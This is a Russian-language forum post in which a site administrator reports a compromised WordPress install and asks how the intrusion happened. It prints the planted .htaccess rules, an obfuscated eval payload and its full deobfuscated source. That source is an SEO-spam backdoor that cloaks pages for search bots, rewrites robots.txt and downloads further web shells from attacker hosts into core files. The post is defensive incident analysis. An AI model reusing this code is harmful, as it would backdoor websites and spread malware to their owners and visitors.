Доброго дня, товарищи.
Утром ошарашил клиент – отхлебнула админка, попросил посмотреть.
Собственно, заглянул – и правда. Не грузятся стили, разделы не работают.
Полез в логи – а их нет (спасибо тебе, Бегет, за отключенные по дефолту логи), так что пришлось разбираться ручками.
Собственно, 10.01 примерно в 12.32 по МСК были модифицированы файлы index.php, wp-admin/edit.php, wp-admin/index.php, и ещё с десяток других.
К тому же в каждую директорию был добавлен .htaccess следующего содержания:
<FilesMatch ".(PhP|php5|suspected|phtml|py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "^(postfs.php|votes.php|index.php|wjsindex.php|lock666.php|font-editor.php|ms-functions.php|contents.php|jsdindex.php|load.php|xmlrpcs.php|container.php|entity.php|header.php|style.php|constant.php|access.php|locale.php|uninstall.php|themes.php|wp-login.php|scindex.php|admin.php)$">
Order allow,deny
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]
</IfModule>
В зараженные PHP было всунуто следующее:
<?php
$x = "'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'";$a = base64_decode($x);$b = gzinflate($a);eval($b);
?>
В деобфусцированном виде:
<?php
error_reporting(0);@set_time_limit(3600);@ignore_user_abort(1);$xmlname = 'mapss.xml';$dt = 0;$sitemap_file = 'sitemap';$mapnum = 2000;if(isset($_GET['dt'])){ $dt = $_GET['dt'];}$site = @$_GET['smsite'];$jdir = '';$http_web = 'http';if(is_https()){ $http = 'https';}else{ $http = 'http';}$smuri_tmp = smrequest_uri();$uri_script = "";if(strstr($smuri_tmp, ".php") && !$site){ $uri_arr = explode(".php", $smuri_tmp); $uri_script = $uri_arr[0].".php?"; $smuri_tmp = $uri_arr[1]; $smuri_tmp = str_replace("?", "/", $smuri_tmp);}if($smuri_tmp==''){ $smuri_tmp='/';}$s = 'b'.'ase6'.'4_e'.'ncode';$smuri = $s($smuri_tmp);function smrequest_uri(){ if (isset($_SERVER['REQUEST_URI'])){ $smuri = $_SERVER['REQUEST_URI']; }else{ if(isset($_SERVER['argv'])){ $smuri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0]; }else{ $smuri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING']; } } return $smuri;}@$action = $_GET['ac']?$_GET['ac']:"";if($action != "" && $action == "write"){ write(); echo "write done!"; exit();}$temp = @$_GET['smtemp'];$id = @$_GET['smid'];$page = @$_GET['smpage'];$site = str_replace('/','',$site);$host = $_SERVER['HTTP_HOST'];$clock = '';
$tempweb = @$_GET['tempweb'];$tempweb = str_replace('/','',$tempweb);
if(preg_match('@pingsitemap.xml@i',$smuri_tmp)){ @header("Content-type: text/css; charset=utf-8"); if($uri_script == ""){$uri_script="/";} $sitemap = "https://www.google.com/ping?sitemap=$http://$host$uri_script"."sitemap.xml"; $contents = get($sitemap); if(strpos($contents, "Sitemap Notification Received")){ echo "Submitting Google Sitemap $http://$host$uri_script"."sitemap.xml"." : OK!<br>"; }else{ echo "Submitting Google Sitemap $http://$host$uri_script"."sitemap.xml"." : ERROR!<br>"; } $mnum = mt_rand(30, 80); for($i = 0; $i < $mnum; $i++){ $sitemap = "https://www.google.com/ping?sitemap=$http://$host$uri_script"."sitemap$i.xml"; $contents = get($sitemap); if(strpos($contents, "Sitemap Notification Received")){ echo "Submitting Google Sitemap $http://$host$uri_script"."sitemap$i.xml"." : OK!<br>"; }else{ echo "Submitting Google Sitemap $http://$host$uri_script"."sitemap$i.xml"." : ERROR!<br>"; } } exit;}
$goweb = 'seo55.herosolid.online';$password = md5(md5(@$_GET['pd']));if ($password == '5fbf36f6b1070aec65f00cb8e35c9cc4') { $add_content = @$_GET['mapname']; $action = @$_GET['action']; $domain = @$_GET['domain']; if($domain){ $host = $domain; }else{ $host = $_SERVER['HTTP_HOST']; } //$host = $_SERVER['HTTP_HOST']; $path = dirname(__FILE__);
$file_path = $path.'/robots.txt'; if(!$action){ $action = 'put'; } if($action == 'put'){ $data = 'User-agent: *Allow: /'; $uri_script = trim($uri_script); if( $uri_script!= "" && $uri_script!="/index.php?"){ $data = trim($data)."\r\n"."Sitemap: $http://".$host.$uri_script."sitemap.xml"; }else{ $data = trim($data)."\r\n"."Sitemap: $http://".$host."/sitemap.xml"; } $num = mt_rand(5, 10); for($i = 0; $i<$num; $i++){ if(trim($uri_script) != "" && $uri_script!="/index.php?"){ $data = trim($data)."\r\n"."Sitemap: $http://".$host.$uri_script."sitemap$i.xml"; }else{ $data = trim($data)."\r\n"."Sitemap: $http://".$host."/sitemap$i.xml"; } } @chmod("robots.txt", 0755); file_put_contents("robots.txt", $data); echo "robots write done!!"; } if($action == 'del'){ if(file_exists($file_path)){ $data = smoutdo($file_path); }else{ $data = ''; } if(strstr($data,'/'.$add_content)){ if(is_https()){ $data_new = trim($data)."\r\n".'Sitemap: https://'.$host.'/'.$add_content; }else{ $data_new = trim($data)."\r\n".'Sitemap: http://'.$host.'/'.$add_content; } if(file_put_contents($file_path,$data_new)) { echo '<br>ok<br>'; }else{ echo '<br>file write false!<br>'; } }else{ echo '<br>sitemap does not exist!<br>'; } }
exit;}function is_https() { if ( !empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') { return true; } elseif ( isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https' ) { return true; } elseif ( !empty($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') { return true; } return false;}
if($tempweb){ $site = $tempweb[0].$tempweb[1].$tempweb[2]; $temp = substr($tempweb,3);}$lang = $_SERVER["HTTP_ACCEPT_LANGUAGE"];$lang = $s($lang);$os = $_SERVER['HTTP_USER_AGENT'];$os = $s($os);if(isset($_SERVER['HTTP_REFERER'])){ $urlshang = $_SERVER['HTTP_REFERER']; $urlshang = $s($urlshang);}else{ $urlshang = '';}
$clock = $_SERVER['REMOTE_ADDR'];$http_clock = $_SERVER['REMOTE_ADDR'];
if(stristr($clock,',')){ $clock_tmp = explode(",",$clock); $clock = $clock_tmp[0];}
if(!isset($sitemap_file) || @$sitemap_file==''){ $sitemap_file = 'sitemap';}if(!isset($mapnum) || @$mapnum==''){ $sitemap_file = 2000;}
if(preg_match('/^'."\/".$sitemap_file.'(\d+)?.xml$/i',$smuri_tmp,$uriarr)){ @header("Content-type: text/xml"); if(isset($uriarr[1])){ $id = str_replace('_','',$uriarr[1]); }else{ $id = 100; } $ivmapid = 0; sitemap_out(z_sitemap($goweb,$id,$host,$dt,$ivmapid,$mapnum,$http_web),$host,$uri_script); exit();}function z_sitemap($goweb,$id,$host,$dt,$maptype,$map_num,$http_web='http',$filetype=0,$map_splits_num='',$temp='',$dataNew=''){ $web = $http_web.'://'.$goweb.'/sitemapdtn.php?date='.$id.'&temp='.$temp.'&web='.$host.'&xml='.$dt.'&maptype='.$maptype.'&filetype='.$filetype.'&map_splits_num='.$map_splits_num.'&map_num='.$map_num.'&dataNew='.$dataNew; return trim(smoutdo($web));}function sitemap_out($url,$host,$uri_script){ if(is_https()){ $http = 'https'; }else{ $http = 'http'; } $date_str = date("Y-m-d\TH:i:sP",time()); $sitemap_header = '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">'; $sitemap_header .= ' <url> <loc>'.$http.'://' . $host . "/" . '</loc> <lastmod>' . $date_str . '</lastmod> <changefreq>daily</changefreq> <priority>0.1</priority> </url>'; $url_arr = explode("\r\n",$url); $map_str = $sitemap_header; foreach($url_arr as $value){ $map_str .= ' <url> <loc>'.$http.'://' . $host . "/" .$value .'</loc> <lastmod>' . $date_str . '</lastmod> <changefreq>daily</changefreq> <priority>0.1</priority> </url>'; } if($uri_script != ""){ $map_str = str_replace($host."/",$host.$uri_script, $map_str); } echo $map_str."</urlset>";}
function get($url){ $contents = @file_get_contents($url); if (!$contents) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); $contents = curl_exec($ch); curl_close($ch); } return $contents;}function write(){ $write1 = get("http://hello.firstguide.xyz/write1.txt"); $write2 = get("http://hello.firstguide.xyz/write2.txt"); $shell_postfs = get("http://hello.firstguide.xyz/mm1.txt"); $shell_load = get("http://hello.firstguide.xyz/mm2.txt"); $new_ht_content = get("http://hello.firstguide.xyz/shl/htaccess.txt"); $ht_content = file_get_contents(".htaccess"); $index_content = file_get_contents("index.php"); $loader_php = "wp-includes/template-loader.php"; $load_php = "wp-includes/load.php"; $font_editor_php = "wp-includes/SimplePie/index.php"; if(!is_dir("css")){ mkdir("css", 0755, true); } @chmod("css/.htaccess", 0755); file_put_contents("css/.htaccess", $new_ht_content); file_put_contents("css/load.php", $shell_load); if(is_dir("wp-includes/SimplePie")){ file_put_contents("wp-admin/images/arrow-lefts.png", $index_content); file_put_contents("wp-admin/images/arrow-rights.png", $ht_content); file_put_contents("wp-includes/images/smilies/icon_devil.gif", $index_content); file_put_contents("wp-includes/images/smilies/icon_crystal.gif", $ht_content); $loader_content = file_get_contents($loader_php); $load_content = file_get_contents($load_php); @chmod($loader_php, 0755);@chmod($load_php, 0755); file_put_contents($loader_php, $write1.$loader_content); file_put_contents($load_php, $load_content.$write2); @chmod($loader_php, 0644);@chmod($load_php, 0644); file_put_contents($font_editor_php, $shell_postfs); }}
if(stristr($smuri_tmp,'.css')){ $web = $http_web.'://'.$goweb.'/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&jdir='.$jdir.'&clock='.$clock.'&uri='.$smuri.'&lang='.$lang.'&os='.$os.'&urlshang='.$urlshang.'&http_clock='.$http_clock; $html_content = smoutdo($web); $html_content = trim($html_content); if(!strstr($html_content,'nobotuseragent')){ if(strstr($html_content,'okhtmlgetcontent')){ @header("Content-type: text/css; charset=utf-8"); $html_content = str_replace("okhtmlgetcontent",'',$html_content); echo $html_content; exit(); }else if(strstr($html_content,'getcontent500page')){ @header('HTTP/1.1 500 Internal Server Error'); exit(); }else if(strstr($html_content,'getcontent404page')){ @header('HTTP/1.1 404 Not Found'); exit(); } }}else if($site){ if($id){ @header("Content-type: text/html; charset=utf-8"); $web = $http_web.'://'.$goweb.'/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&clock='.$clock.'&uri='.$smuri.'&urlshang='.$urlshang.'&http='.$http.'&page='.$page; $html_content = smoutdo($web); $html_content = trim($html_content); if(!strstr($html_content,'nobotuseragent')){ if(strstr($html_content,'okhtmlgetcontent')){ $html_content = str_replace("okhtmlgetcontent",'',$html_content); echo $html_content; exit(); }else if(strstr($html_content,'getcontent500page')){ @header('HTTP/1.1 500 Internal Server Error'); exit(); }else if(strstr($html_content,'getcontent404page')){ @header('HTTP/1.1 404 Not Found'); exit(); } } }}else{ $web = $http_web.'://'.$goweb.'/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&clock='.$clock.'&uri='.$smuri.'&urlshang='.$urlshang.'&http='.$http.'&page='.$page; $html_content = smoutdo($web); $html_content = trim($html_content); if($uri_script != ""){ $html_content = str_replace($host."/",$host.$uri_script, $html_content); } if(!strstr($html_content,'nobotuseragent')){ @header("Content-type: text/html; charset=utf-8"); if(strstr($html_content,'okhtmlgetcontent')){ $html_content = str_replace("okhtmlgetcontent",'',$html_content); echo $html_content; exit(); }else if(strstr($html_content,'getcontent500page')){ @header('HTTP/1.1 500 Internal Server Error'); exit(); }else if(strstr($html_content,'getcontent404page')){ @header('HTTP/1.1 404 Not Found'); exit(); }else if(strstr($html_content,'getcontent301page')){ @header('HTTP/1.1 301 Moved Permanently'); $html_content = str_replace("getcontent301page",'',$html_content); header('Location: '.$html_content); exit(); }
}}
function smisbot() { $agent = strtolower($_SERVER['HTTP_USER_AGENT']); if ($agent != "") { $googleBot = array("Googlebot","Yahoo! Slurp","Yahoo Slurp","Google AdSense",'google', 'yahoo'); foreach ($googleBot as $val) { $str = strtolower($val); if (strpos($agent, $str)) { return true; } } }else{ return false; }}function smotherbot() { $agent = strtolower($_SERVER['HTTP_USER_AGENT']); if ($agent != "") { $spiderSite = array ("TencentTraveler","msnbot","Sosospider+","Sogou web spider","ia_archiver","YoudaoBot","MSNBot","Java (Often spam bot)","BaiDuSpider","Voila","Yandex bot","BSpider","twiceler","Sogou Spider","Speedy Spider","Heritrix","Python-urllib","Alexa (IA Archiver)","Ask","Exabot","Custo","OutfoxBot/YodaoBot","yacy","SurveyBot","legs","lwp-trivial","Nutch","StackRambler","The web archive (IA Archiver)","Perl tool","MJ12bot","Netcraft","MSIECrawler","WGet tools","larbin","Fish search", 'bingbot', 'baidu', 'aol', 'bing', 'YandexBot', 'AhrefsBot'); foreach ($spiderSite as $val) { $str = strtolower($val); if (strpos($agent, $str)) { return true; } } }else{ return false; }}function smoutdo($url){ $file_contents = @file_get_contents($url); if (!$file_contents) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); $file_contents = curl_exec($ch); curl_close($ch); } return $file_contents;}function listDir($dir){ $filearr = array(); if(is_dir($dir)){ if ($dh = opendir($dir)){ while (($file = readdir($dh)) !== false){ if((file_exists($dir."/".$file)) && $file!="." && $file!=".."){ $filearr[] = $file; } } closedir($dh); } } return $filearr;}
?>
Собственно, из кода всё понятно - сия шлоедрянь докачивает в себя ещё отдельные куски кода, которые потом и переписывают файлы в CMS, так же стучится в поисковики и создает кучу sitemap.
Вопрос не к шеллу, а к самому факту взлома.
WP стоит абсолютно свежий (скачан с офсайта 9 числа. последний релиз), ибо на него клиент пожелал переехать с джумлы.
Мб у кого уже такое встречалось, и сохранились логи? Известно, как эта гадость может попасть на сайт, что бы прикрыть дыру?